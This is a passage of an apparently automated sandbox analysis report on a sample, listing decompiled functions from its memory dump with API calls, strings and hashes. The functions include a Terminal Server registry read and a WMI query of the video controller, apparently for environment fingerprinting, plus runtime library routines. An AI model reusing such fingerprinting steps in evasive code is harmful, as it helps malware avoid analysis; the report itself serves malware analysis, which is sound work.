RegQueryValueExW.KERNEL32(?,GlassSessionId,00000000,?,?,?), ref: 004383B0
RegCloseKey.KERNEL32(00000000), ref: 004383E3

Strings

SYSTEM\CurrentControlSet\Control\Terminal Server\, xrefs: 00438380
GlassSessionId, xrefs: 004383A8

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CallbackCloseDispatcherOpenQueryUserValue
String ID: GlassSessionId$SYSTEM\CurrentControlSet\Control\Terminal Server\
API String ID: 3469526933-2312460866
Opcode ID: 27b7b9c2dc77d4a068ed236221e8214ada6d936f26874cf2242a83efc8ec27de
Instruction ID: 1375888261e42abcb995ea69a1410071a9ea076cd39f03993a4a07d28be19a00
Opcode Fuzzy Hash: 27b7b9c2dc77d4a068ed236221e8214ada6d936f26874cf2242a83efc8ec27de
Instruction Fuzzy Hash: 8A113D75A00209AFDB00DFA4DCC9ABFBBBCEB08744F50006ABA02E6251DB749944CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043F667, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(WQL), ref: 0043F67F
SysAllocString.OLEAUT32(SELECT * FROM Win32_VideoController), ref: 0043F688
SysFreeString.OLEAUT32(00000000), ref: 0043F6D2
SysFreeString.OLEAUT32(00000000), ref: 0043F6DD

Strings

WQL, xrefs: 0043F672
SELECT * FROM Win32_VideoController, xrefs: 0043F681

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree
String ID: SELECT * FROM Win32_VideoController$WQL
API String ID: 344208780-1929584936
Opcode ID: adc682d61d0390edde9596870ac47e052553ff5eaec596b7a83b409a64427d00
Instruction ID: 4b11ec092bf3f4ee8dee81372b84e2e37407528e88ef9b5c9db828157aa2cc4f
Opcode Fuzzy Hash: adc682d61d0390edde9596870ac47e052553ff5eaec596b7a83b409a64427d00
Instruction Fuzzy Hash: 72118B71A05318AFD324DF64DC89A2BBBE8FF49745F10056EF405CB260CBA1AC04CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004AD519, Relevance: 9.3, APIs: 6, Instructions: 284
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E004AD519(void* __ebx, signed int __edx, void* __edi, void* _a4, signed int _a8) {
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				void* __esi;
				void* __ebp;
				signed int _t61;
				void* _t64;
				signed int _t67;
				signed int _t69;
				signed int _t70;
				signed int _t73;
				signed int _t76;
				intOrPtr _t78;
				signed int _t79;
				void* _t80;
				signed int _t82;
				void* _t83;
				signed int _t85;
				signed int _t91;
				signed int _t100;
				void* _t102;
				signed int _t105;
				signed int* _t108;
				signed int* _t109;
				intOrPtr* _t111;
				signed int _t116;
				signed int _t118;
				signed int _t121;
				void* _t123;
				signed int _t126;
				signed int _t129;
				signed int _t137;
				signed int _t143;
				void _t145;
				void* _t146;
				void* _t148;
				void* _t150;
				signed int _t151;
				signed int _t152;
				void* _t153;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				intOrPtr _t157;

				_t137 = __edx;
				_t153 = _a4;
				if(_t153 == 0) {
					_t111 = E004A966E();
					_t157 = 0x16;
					 *_t111 = _t157;
					E004A5E77();
					return _t157;
				}
				_push(__edi);
				_t121 = 9;
				memset(_t153, _t61 | 0xffffffff, _t121 << 2);
				_t143 = _a8;
				__eflags = _t143;
				if(_t143 == 0) {
					_t109 = E004A966E();
					_t156 = 0x16;
					 *_t109 = _t156;
					E004A5E77();
					_t76 = _t156;
					L12:
					return _t76;
				}
				_push(__ebx);
				__eflags =  *(_t143 + 4);
				if(__eflags <= 0) {
					if(__eflags < 0) {
						L10:
						_t108 = E004A966E();
						_t155 = 0x16;
						 *_t108 = _t155;
						_t76 = _t155;
						L11:
						goto L12;
					}
					__eflags =  *_t143;
					if( *_t143 < 0) {
						goto L10;
					}
				}
				_t64 = 7;
				__eflags =  *(_t143 + 4) - _t64;
				if(__eflags >= 0) {
					if(__eflags > 0) {
						goto L10;
					}
					__eflags =  *_t143 - 0x93406fff;
					if( *_t143 > 0x93406fff) {
						goto L10;
					}
				}
				E004BA429(0, _t143, _t153); // executed
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_t67 = E004B99EA( &_v12);
				_pop(_t123);
				__eflags = _t67;
				if(_t67 == 0) {
					_t67 = E004B9A16( &_v16);
					_pop(_t123);
					__eflags = _t67;
					if(_t67 == 0) {
						_t67 = E004B9A42( &_v8);
						_pop(_t123);
						__eflags = _t67;
						if(_t67 == 0) {
							_t116 =  *(_t143 + 4);
							_t126 =  *_t143;
							__eflags = _t116;
							if(__eflags < 0) {
								L28:
								_push(_t143);
								_push(_t153);
								_t76 = E004B9CD7();
								__eflags = _t76;
								if(_t76 != 0) {
									goto L11;
								}
								__eflags = _v12;
								asm("cdq");
								_t145 =  *_t153;
								_t118 = _t137;
								if(__eflags == 0) {
									L32:
									_t78 = _v8;
									L33:
									asm("cdq");
									_t146 = _t145 - _t78;
									asm("sbb ebx, edx");
									_t79 = E004C3F60(_t146, _t118, 0x3c, 0);
									 *_t153 = _t79;
									__eflags = _t79;
									if(_t79 < 0) {
										_t146 = _t146 + 0xffffffc4;
										 *_t153 = _t79 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t80 = E004C3EB0(_t146, _t118, 0x3c, 0);
									_t119 = _t137;
									asm("cdq");
									_t148 = _t80 +  *(_t153 + 4);
									asm("adc ebx, edx");
									_t82 = E004C3F60(_t148, _t137, 0x3c, 0);
									 *(_t153 + 4) = _t82;
									__eflags = _t82;
									if(_t82 < 0) {
										_t148 = _t148 + 0xffffffc4;
										 *(_t153 + 4) = _t82 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t83 = E004C3EB0(_t148, _t119, 0x3c, 0);
									_t120 = _t137;
									asm("cdq");
									_t150 = _t83 +  *(_t153 + 8);
									asm("adc ebx, edx");
									_t85 = E004C3F60(_t150, _t137, 0x18, 0);
									 *(_t153 + 8) = _t85;
									__eflags = _t85;
									if(_t85 < 0) {
										_t150 = _t150 + 0xffffffe8;
										 *(_t153 + 8) = _t85 + 0x18;
										asm("adc ebx, 0xffffffff");
									}
									_t129 = E004C3EB0(_t150, _t120, 0x18, 0);
									__eflags = _t137;
									if(__eflags < 0) {
										L48:
										 *(_t153 + 0xc) =  *(_t153 + 0xc) + _t129;
										asm("cdq");
										_t151 = 7;
										_t91 =  *(_t153 + 0xc);
										 *(_t153 + 0x18) = ( *(_t153 + 0x18) + 7 + _t129) % _t151;
										__eflags = _t91;
										if(_t91 > 0) {
											goto L43;
										}
										 *((intOrPtr*)(_t153 + 0x10)) = 0xb;
										 *(_t153 + 0xc) = _t91 + 0x1f;
										_t55 = _t129 + 0x16d; // 0x16d
										 *(_t153 + 0x1c) =  *(_t153 + 0x1c) + _t55;
										 *((intOrPtr*)(_t153 + 0x14)) =  *((intOrPtr*)(_t153 + 0x14)) - 1;
										goto L44;
									} else {
										if(__eflags > 0) {
											L42:
											asm("cdq");
											_t152 = 7;
											_t39 = _t153 + 0xc;
											 *_t39 =  *(_t153 + 0xc) + _t129;
											__eflags =  *_t39;
											 *(_t153 + 0x18) = ( *(_t153 + 0x18) + _t129) % _t152;
											L43:
											_t42 = _t153 + 0x1c;
											 *_t42 =  *(_t153 + 0x1c) + _t129;
											__eflags =  *_t42;
											L44:
											_t76 = 0;
											goto L11;
										}
										__eflags = _t129;
										if(_t129 == 0) {
											__eflags = _t137;
											if(__eflags > 0) {
												goto L44;
											}
											if(__eflags < 0) {
												goto L48;
											}
											__eflags = _t129;
											if(_t129 >= 0) {
												goto L44;
											}
											goto L48;
										}
										goto L42;
									}
								}
								_push(_t153);
								_t100 = E004BA47A(_t118, _t145, _t153, __eflags);
								__eflags = _t100;
								if(_t100 == 0) {
									goto L32;
								}
								_t78 = _v8 + _v16;
								 *((intOrPtr*)(_t153 + 0x20)) = 1;
								goto L33;
							}
							if(__eflags > 0) {
								L20:
								_t102 = 7;
								__eflags = _t116 - _t102;
								if(__eflags > 0) {
									goto L28;
								}
								if(__eflags < 0) {
									L23:
									asm("cdq");
									_push( &_v24);
									asm("sbb ebx, edx");
									_v24 = _t126 - _v8;
									_push(_t153);
									_v20 = _t116;
									_t76 = E004B9CD7();
									__eflags = _t76;
									if(_t76 != 0) {
										goto L11;
									}
									__eflags = _v12 - _t76;
									if(__eflags == 0) {
										goto L44;
									}
									_push(_t153);
									_t105 = E004BA47A(_t116, _t143, _t153, __eflags);
									__eflags = _t105;
									if(_t105 == 0) {
										goto L44;
									}
									asm("cdq");
									_v24 = _v24 - _v16;
									_push( &_v24);
									asm("sbb [ebp-0x10], edx");
									_push(_t153);
									_t76 = E004B9CD7();
									__eflags = _t76;
									if(_t76 != 0) {
										goto L11;
									}
									 *((intOrPtr*)(_t153 + 0x20)) = 1;
									goto L44;
								}
								__eflags = _t126 - 0x933c7b7f;
								if(_t126 >= 0x933c7b7f) {
									goto L28;
								}
								goto L23;
							}
							__eflags = _t126 - 0x3f480;
							if(_t126 <= 0x3f480) {
								goto L28;
							}
							goto L20;
						}
					}
				}
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				E004A5EA4(_t67);
				asm("int3");
				_push(_t153);
				_t69 = E004B9C99(_t123);
				_t154 = _t69;
				__eflags = _t154;
				if(_t154 != 0) {
					_push(_v20);
					_push(_t154); // executed
					_t70 = E004AD519(0, _t137, _t143); // executed
					asm("sbb eax, eax");
					_t73 =  !( ~_t70) & _t154;
					__eflags = _t73;
					return _t73;
				}
				return _t69;
			}

0x004ad519
0x004ad522
0x004ad527
0x004ad529
0x004ad530
0x004ad531
0x004ad533
0x00000000
0x004ad538
0x004ad53c
0x004ad544
0x004ad545
0x004ad547
0x004ad54a
0x004ad54c
0x004ad54e
0x004ad555
0x004ad556
0x004ad558
0x004ad55d
0x004ad58e
0x00000000
0x004ad58e
0x004ad561
0x004ad564
0x004ad567
0x004ad569
0x004ad581
0x004ad581
0x004ad588
0x004ad589
0x004ad58b
0x004ad58d
0x00000000
0x004ad58d
0x004ad56b
0x004ad56d
0x00000000
0x00000000
0x004ad56d
0x004ad571
0x004ad572
0x004ad575
0x004ad577
0x00000000
0x00000000
0x004ad579
0x004ad57f
0x00000000
0x00000000
0x004ad57f
0x004ad594
0x004ad59c
0x004ad5a0
0x004ad5a3
0x004ad5a6
0x004ad5ab
0x004ad5ac
0x004ad5ae
0x004ad5b8
0x004ad5bd
0x004ad5be
0x004ad5c0
0x004ad5ca
0x004ad5cf
0x004ad5d0
0x004ad5d2
0x004ad5d8
0x004ad5db
0x004ad5dd
0x004ad5df
0x004ad660
0x004ad660
0x004ad661
0x004ad662
0x004ad669
0x004ad66b
0x00000000
0x00000000
0x004ad671
0x004ad677
0x004ad678
0x004ad67a
0x004ad67c
0x004ad698
0x004ad698
0x004ad69b
0x004ad69b
0x004ad69c
0x004ad6a2
0x004ad6a6
0x004ad6ab
0x004ad6ad
0x004ad6af
0x004ad6b4
0x004ad6b7
0x004ad6b9
0x004ad6b9
0x004ad6c2
0x004ad6c9
0x004ad6ce
0x004ad6cf
0x004ad6d5
0x004ad6d9
0x004ad6de
0x004ad6e1
0x004ad6e3
0x004ad6e8
0x004ad6eb
0x004ad6ee
0x004ad6ee
0x004ad6f7
0x004ad6fe
0x004ad703
0x004ad704
0x004ad70a
0x004ad70e
0x004ad713
0x004ad716
0x004ad718
0x004ad71d
0x004ad720
0x004ad723
0x004ad723
0x004ad731
0x004ad733
0x004ad735
0x004ad762
0x004ad768
0x004ad76f
0x004ad770
0x004ad773
0x004ad776
0x004ad779
0x004ad77b
0x00000000
0x00000000
0x004ad780
0x004ad787
0x004ad78a
0x004ad790
0x004ad793
0x00000000
0x004ad737
0x004ad737
0x004ad73d
0x004ad744
0x004ad745
0x004ad748
0x004ad748
0x004ad748
0x004ad74b
0x004ad74e
0x004ad74e
0x004ad74e
0x004ad74e
0x004ad751
0x004ad751
0x00000000
0x004ad751
0x004ad739
0x004ad73b
0x004ad758
0x004ad75a
0x00000000
0x00000000
0x004ad75c
0x00000000
0x00000000
0x004ad75e
0x004ad760
0x00000000
0x00000000
0x00000000
0x004ad760
0x00000000
0x004ad73b
0x004ad735
0x004ad67e
0x004ad67f
0x004ad685
0x004ad687
0x00000000
0x00000000
0x004ad68c
0x004ad68f
0x00000000
0x004ad68f
0x004ad5e1
0x004ad5eb
0x004ad5ed
0x004ad5ee
0x004ad5f0
0x00000000
0x00000000
0x004ad5f2
0x004ad5fc
0x004ad5ff
0x004ad605
0x004ad606
0x004ad608
0x004ad60b
0x004ad60c
0x004ad60f
0x004ad616
0x004ad618
0x00000000
0x00000000
0x004ad61e
0x004ad621
0x00000000
0x00000000
0x004ad627
0x004ad628
0x004ad62e
0x004ad630
0x00000000
0x00000000
0x004ad639
0x004ad63a
0x004ad640
0x004ad641
0x004ad644
0x004ad645
0x004ad64c
0x004ad64e
0x00000000
0x00000000
0x004ad654
0x00000000
0x004ad654
0x004ad5f4
0x004ad5fa
0x00000000
0x00000000
0x00000000
0x004ad5fa
0x004ad5e3
0x004ad5e9
0x00000000
0x00000000
0x00000000
0x004ad5e9
0x004ad5d2
0x004ad5c0
0x004ad798
0x004ad799
0x004ad79a
0x004ad79b
0x004ad79c
0x004ad79d
0x004ad7a2
0x004ad7a8
0x004ad7a9
0x004ad7ae
0x004ad7b0
0x004ad7b2
0x004ad7b4
0x004ad7b7
0x004ad7b8
0x004ad7c0
0x004ad7c5
0x004ad7c5
0x00000000
0x004ad7c5
0x004ad7c9

APIs

__allrem.LIBCMT ref: 004AD6A6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004AD6C2
__allrem.LIBCMT ref: 004AD6D9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004AD6F7
__allrem.LIBCMT ref: 004AD70E
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004AD72C

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 9c68534bc58ca450419da227a5f710ec40ff671fe3a058431bf23149e8cc63be
Instruction ID: 654fca63a13bbe54f081c1f28274ad463728d2dd87b098e0be7b463a35528337
Opcode Fuzzy Hash: 9c68534bc58ca450419da227a5f710ec40ff671fe3a058431bf23149e8cc63be
Instruction Fuzzy Hash: 7C813776E00706ABD7249E29CC41BAB73E8AF26728F24452FF512D7B81E778DD008758

Uniqueness

Uniqueness Score: -1.00%

Function 004AE22E, Relevance: 9.2, APIs: 6, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004AE22E(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				char _v48;
				void* __ecx;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t74;
				intOrPtr _t75;
				signed int _t78;
				intOrPtr _t86;
				void* _t95;
				signed int _t97;
				void* _t99;
				void* _t106;
				signed int _t110;
				signed int _t111;
				signed int _t114;
				void* _t118;
				signed int _t121;
				signed int _t123;
				intOrPtr _t124;
				signed int _t126;
				intOrPtr _t128;
				signed int _t129;
				void* _t133;
				void* _t134;
				void* _t136;

				_t118 = __edx;
				_t95 = __ebx;
				_push(_t99);
				if(_a8 != 0) {
					_push(__esi);
					_push(__edi);
					_t121 = 0;
					_t67 = E004BA7E9( &_v8, 0, 0, _a8, 0x7fffffff);
					_t134 = _t133 + 0x14;
					__eflags = _t67;
					if(_t67 == 0) {
						L5:
						_t126 = E004B2F72(_t99, _v8, 2);
						__eflags = _t126;
						if(_t126 == 0) {
							L11:
							E004B2FCF(_t126);
							_t70 = _t121;
							goto L12;
						} else {
							_t67 = E004BA7E9(_t121, _t126, _v8, _a8, 0xffffffff);
							_t134 = _t134 + 0x14;
							__eflags = _t67;
							if(_t67 == 0) {
								_t71 = E004B2387(_a4, _t126); // executed
								_t121 = _t71;
								goto L11;
							} else {
								__eflags = _t67 - 0x16;
								if(_t67 == 0x16) {
									goto L13;
								} else {
									__eflags = _t67 - 0x22;
									if(_t67 != 0x22) {
										goto L11;
									} else {
										goto L13;
									}
								}
							}
						}
					} else {
						__eflags = _t67 - 0x16;
						if(_t67 == 0x16) {
							L13:
							_push(_t121);
							_push(_t121);
							_push(_t121);
							_push(_t121);
							E004A5EA4(_t67);
							asm("int3");
							E0049DF50(0x4e8970, 0x1c);
							_t128 = _a4;
							_t74 = E004AE22E(_t95, _t118, _t121, _t128, _t128, _a8); // executed
							_t106 = _t121;
							_t123 = _t74;
							__eflags = _t123;
							if(_t123 != 0) {
								_t75 = E004B361B(_t95, _t106, _t118);
								_v40 = _t75;
								_v48 =  *((intOrPtr*)(_t75 + 0x4c));
								_t108 =  *((intOrPtr*)(_t75 + 0x48));
								_v44 =  *((intOrPtr*)(_t75 + 0x48));
								_v32 = 0;
								_t78 = E004BAA8A( *((intOrPtr*)(_t75 + 0x48)),  &_v32, 0, 0, _t123, 0,  &_v48);
								_t136 = _t134 + 0x18;
								__eflags = _t78;
								if(_t78 == 0) {
									L22:
									_t97 = E004B3009(_t108, _v32 + 4);
									__eflags = _t97;
									if(_t97 == 0) {
										goto L15;
									} else {
										_t20 = _t97 + 4; // 0x4
										_v36 = _t20;
										_t108 =  &_v48;
										_t123 = 0;
										_t78 = E004BAA8A( &_v48, 0, _t20, _v32, 0, 0xffffffff,  &_v48);
										_t136 = _t136 + 0x18;
										__eflags = _t78;
										if(_t78 == 0) {
											L29:
											_t124 = _v48;
											E004AE1BD(4);
											_pop(_t110);
											_v8 = _v8 & 0x00000000;
											_t129 = _t128 + _t128;
											_t111 = _t110 | 0xffffffff;
											__eflags =  *(_t124 + 0x24 + _t129 * 8);
											if(__eflags != 0) {
												asm("lock xadd [edx], eax");
												if(__eflags == 0) {
													E004B2FCF( *(_t124 + 0x24 + _t129 * 8));
													_pop(_t114);
													 *(_t124 + 0x24 + _t129 * 8) =  *(_t124 + 0x24 + _t129 * 8) & 0x00000000;
													_t111 = _t114 | 0xffffffff;
													__eflags = _t111;
												}
											}
											_t86 = _v40;
											__eflags =  *(_t86 + 0x350) & 0x00000002;
											if(( *(_t86 + 0x350) & 0x00000002) == 0) {
												__eflags =  *0x4eb470 & 0x00000001;
												if(( *0x4eb470 & 0x00000001) == 0) {
													__eflags =  *(_t124 + 0x24 + _t129 * 8);
													if( *(_t124 + 0x24 + _t129 * 8) != 0) {
														asm("lock xadd [eax], ecx");
														__eflags = _t111 == 1;
														if(_t111 == 1) {
															E004B2FCF( *(_t124 + 0x24 + _t129 * 8));
															_t51 = _t124 + 0x24 + _t129 * 8;
															 *_t51 =  *(_t124 + 0x24 + _t129 * 8) & 0x00000000;
															__eflags =  *_t51;
														}
													}
												}
											}
											 *_t97 =  *((intOrPtr*)(_t124 + 0xc));
											 *(_t124 + 0x24 + _t129 * 8) = _t97;
											 *((intOrPtr*)(_t124 + 0x1c + _t129 * 8)) = _v36;
											_v8 = 0xfffffffe;
											E004AE41F();
										} else {
											__eflags = _t78 - 0x16;
											if(_t78 == 0x16) {
												L26:
												_push(_t123);
												_push(_t123);
												_push(_t123);
												_push(_t123);
												_push(_t123);
												goto L20;
											} else {
												__eflags = _t78 - 0x22;
												if(_t78 != 0x22) {
													__eflags = _t78;
													if(_t78 == 0) {
														goto L29;
													} else {
														E004B2FCF(_t97);
														goto L15;
													}
												} else {
													goto L26;
												}
											}
										}
									}
								} else {
									__eflags = _t78 - 0x16;
									if(_t78 == 0x16) {
										L19:
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										L20:
										_t78 = E004A5EA4(_t78);
									} else {
										__eflags = _t78 - 0x22;
										if(_t78 == 0x22) {
											goto L19;
										}
									}
									__eflags = _t78;
									if(_t78 != 0) {
										goto L15;
									} else {
										goto L22;
									}
								}
							} else {
								L15:
							}
							return E0049DF96();
						} else {
							__eflags = _t67 - 0x22;
							if(_t67 == 0x22) {
								goto L13;
							} else {
								goto L5;
							}
						}
					}
				} else {
					_t70 = E004B2387(_a4, 0); // executed
					L12:
					return _t70;
				}
			}

0x004ae22e
0x004ae22e
0x004ae233
0x004ae238
0x004ae248
0x004ae249
0x004ae252
0x004ae25a
0x004ae25f
0x004ae262
0x004ae264
0x004ae270
0x004ae27a
0x004ae27e
0x004ae280
0x004ae2b1
0x004ae2b2
0x004ae2b8
0x00000000
0x004ae282
0x004ae28c
0x004ae291
0x004ae294
0x004ae296
0x004ae2a8
0x004ae2af
0x00000000
0x004ae298
0x004ae298
0x004ae29b
0x00000000
0x004ae29d
0x004ae29d
0x004ae2a0
0x00000000
0x004ae2a2
0x00000000
0x004ae2a2
0x004ae2a0
0x004ae29b
0x004ae296
0x004ae266
0x004ae266
0x004ae269
0x004ae2c0
0x004ae2c0
0x004ae2c1
0x004ae2c2
0x004ae2c3
0x004ae2c5
0x004ae2ca
0x004ae2d2
0x004ae2da
0x004ae2de
0x004ae2e4
0x004ae2e5
0x004ae2e7
0x004ae2e9
0x004ae2f2
0x004ae2f7
0x004ae2fd
0x004ae300
0x004ae303
0x004ae308
0x004ae317
0x004ae31c
0x004ae31f
0x004ae321
0x004ae33b
0x004ae348
0x004ae34a
0x004ae34c
0x00000000
0x004ae34e
0x004ae34e
0x004ae351
0x004ae354
0x004ae35f
0x004ae362
0x004ae367
0x004ae36a
0x004ae36c
0x004ae38f
0x004ae38f
0x004ae394
0x004ae399
0x004ae39a
0x004ae39e
0x004ae3a4
0x004ae3a7
0x004ae3a9
0x004ae3ad
0x004ae3b1
0x004ae3b7
0x004ae3bc
0x004ae3bd
0x004ae3c2
0x004ae3c2
0x004ae3c2
0x004ae3b1
0x004ae3c5
0x004ae3c8
0x004ae3cf
0x004ae3d1
0x004ae3d8
0x004ae3de
0x004ae3e0
0x004ae3e2
0x004ae3e6
0x004ae3e7
0x004ae3ed
0x004ae3f3
0x004ae3f3
0x004ae3f3
0x004ae3f3
0x004ae3e7
0x004ae3e0
0x004ae3d8
0x004ae3fb
0x004ae3fd
0x004ae404
0x004ae408
0x004ae40f
0x004ae36e
0x004ae36e
0x004ae371
0x004ae378
0x004ae378
0x004ae379
0x004ae37a
0x004ae37b
0x004ae37c
0x00000000
0x004ae373
0x004ae373
0x004ae376
0x004ae37f
0x004ae381
0x00000000
0x004ae383
0x004ae384
0x00000000
0x004ae389
0x00000000
0x00000000
0x00000000
0x004ae376
0x004ae371
0x004ae36c
0x004ae323
0x004ae323
0x004ae326
0x004ae32d
0x004ae32d
0x004ae32e
0x004ae32f
0x004ae330
0x004ae331
0x004ae332
0x004ae332
0x004ae328
0x004ae328
0x004ae32b
0x00000000
0x00000000
0x004ae32b
0x004ae337
0x004ae339
0x00000000
0x00000000
0x00000000
0x00000000
0x004ae339
0x004ae2eb
0x004ae2eb
0x004ae2eb
0x004ae41b
0x004ae26b
0x004ae26b
0x004ae26e
0x00000000
0x00000000
0x00000000
0x00000000
0x004ae26e
0x004ae269
0x004ae23a
0x004ae23f
0x004ae2bc
0x004ae2bf
0x004ae2bf

APIs

__cftoe.LIBCMT ref: 004AE25A
__cftoe.LIBCMT ref: 004AE28C

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: e0e76a9253ea4e7d51fbe12c7998101bff1d8e9b8efef846fc61301ff14f88bd
Instruction ID: af23d29fe526a1b16e321764dda8e6b8bd8abf4caf2a54ed849dc3d0cb492b55
Opcode Fuzzy Hash: e0e76a9253ea4e7d51fbe12c7998101bff1d8e9b8efef846fc61301ff14f88bd
Instruction Fuzzy Hash: 1351C932504205ABDF249B6B8D41FAF77A9AF5A324F10425FF82596282DB3DD900966C

Uniqueness

Uniqueness Score: -1.00%

Function 004C2051, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E004C2051(void* __ecx, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				char _v6;
				void* _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v36;
				signed int _v44;
				void _v48;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				void* _t122;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t164;
				intOrPtr _t180;
				signed int* _t190;
				signed int _t192;
				char _t197;
				signed int _t203;
				signed int _t206;
				signed int _t217;
				signed int _t219;
				signed int _t225;
				signed int _t227;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed char _t242;
				intOrPtr _t245;
				void* _t248;
				void* _t252;
				void* _t262;
				signed int _t263;
				signed int _t266;
				signed int _t269;
				signed int _t270;
				void* _t272;
				void* _t274;
				void* _t275;
				void* _t277;
				void* _t278;
				void* _t280;
				void* _t284;

				_t262 = E004C1DB4(__ecx,  &_v72, _a16, _a20, _a24);
				_t192 = 6;
				memcpy( &_v48, _t262, _t192 << 2);
				_t274 = _t272 + 0x1c;
				_t248 = _t262 + _t192 + _t192;
				_t263 = _t262 | 0xffffffff;
				if(_v36 != _t263) {
					_t114 = E004BCBD1(_t248, _t263, __eflags);
					_t190 = _a8;
					 *_t190 = _t114;
					__eflags = _t114 - _t263;
					if(_t114 != _t263) {
						_v20 = _v20 & 0x00000000;
						_v24 = 0xc;
						_t275 = _t274 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v16 =  !(_a16 >> 7) & 1;
						_push( &_v24);
						_push(_a12);
						memcpy(_t275,  &_v48, 1 << 2);
						_t197 = 0;
						_t122 = E004C1D1F(); // executed
						_t252 = _t122;
						_t277 = _t275 + 0x2c;
						_v12 = _t252;
						__eflags = _t252 - 0xffffffff;
						if(_t252 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t252); // executed
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v48;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v48 | 0x00000040;
								}
								_v5 = _t124;
								E004BCB1A(_t197,  *_t190, _t252);
								_t242 = _v5 | 0x00000001;
								_v5 = _t242;
								_v48 = _t242;
								 *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) = _t242;
								_t203 =  *_t190;
								_t205 = (_t203 & 0x0000003f) * 0x30;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x4ee718 + (_t203 >> 6) * 4)) + 0x29 + (_t203 & 0x0000003f) * 0x30)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L20:
									_v6 = 0;
									_push( &_v6);
									_push(_a16);
									_t278 = _t277 - 0x18;
									_t206 = 6;
									_push( *_t190);
									memcpy(_t278,  &_v48, _t206 << 2);
									_t134 = E004C1AD2(_t190,  &_v48 + _t206 + _t206,  &_v48);
									_t280 = _t278 + 0x30;
									__eflags = _t134;
									if(__eflags == 0) {
										 *((char*)( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x29 + ( *_t190 & 0x0000003f) * 0x30)) = _v6;
										 *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30)) & 0x00000001;
										__eflags = _v5 & 0x00000048;
										if((_v5 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t225 =  *_t190;
												_t227 = (_t225 & 0x0000003f) * 0x30;
												_t164 =  *((intOrPtr*)(0x4ee718 + (_t225 >> 6) * 4));
												_t87 = _t164 + _t227 + 0x28;
												 *_t87 =  *(_t164 + _t227 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t266 = _v44;
										__eflags = (_t266 & 0xc0000000) - 0xc0000000;
										if((_t266 & 0xc0000000) != 0xc0000000) {
											L31:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L31;
											}
											 *0x4f00ac(_v12);
											_v44 = _t266 & 0x7fffffff;
											_push(6);
											_push( &_v24);
											_push(_a12);
											memcpy(_t280 - 0x18,  &_v48, 0xc0000000 << 2);
											_t245 = E004C1D1F();
											__eflags = _t245 - 0xffffffff;
											if(_t245 != 0xffffffff) {
												_t217 =  *_t190;
												_t219 = (_t217 & 0x0000003f) * 0x30;
												__eflags = _t219;
												 *((intOrPtr*)( *((intOrPtr*)(0x4ee718 + (_t217 >> 6) * 4)) + _t219 + 0x18)) = _t245;
												goto L31;
											}
											E004A9638( *0x4f0018());
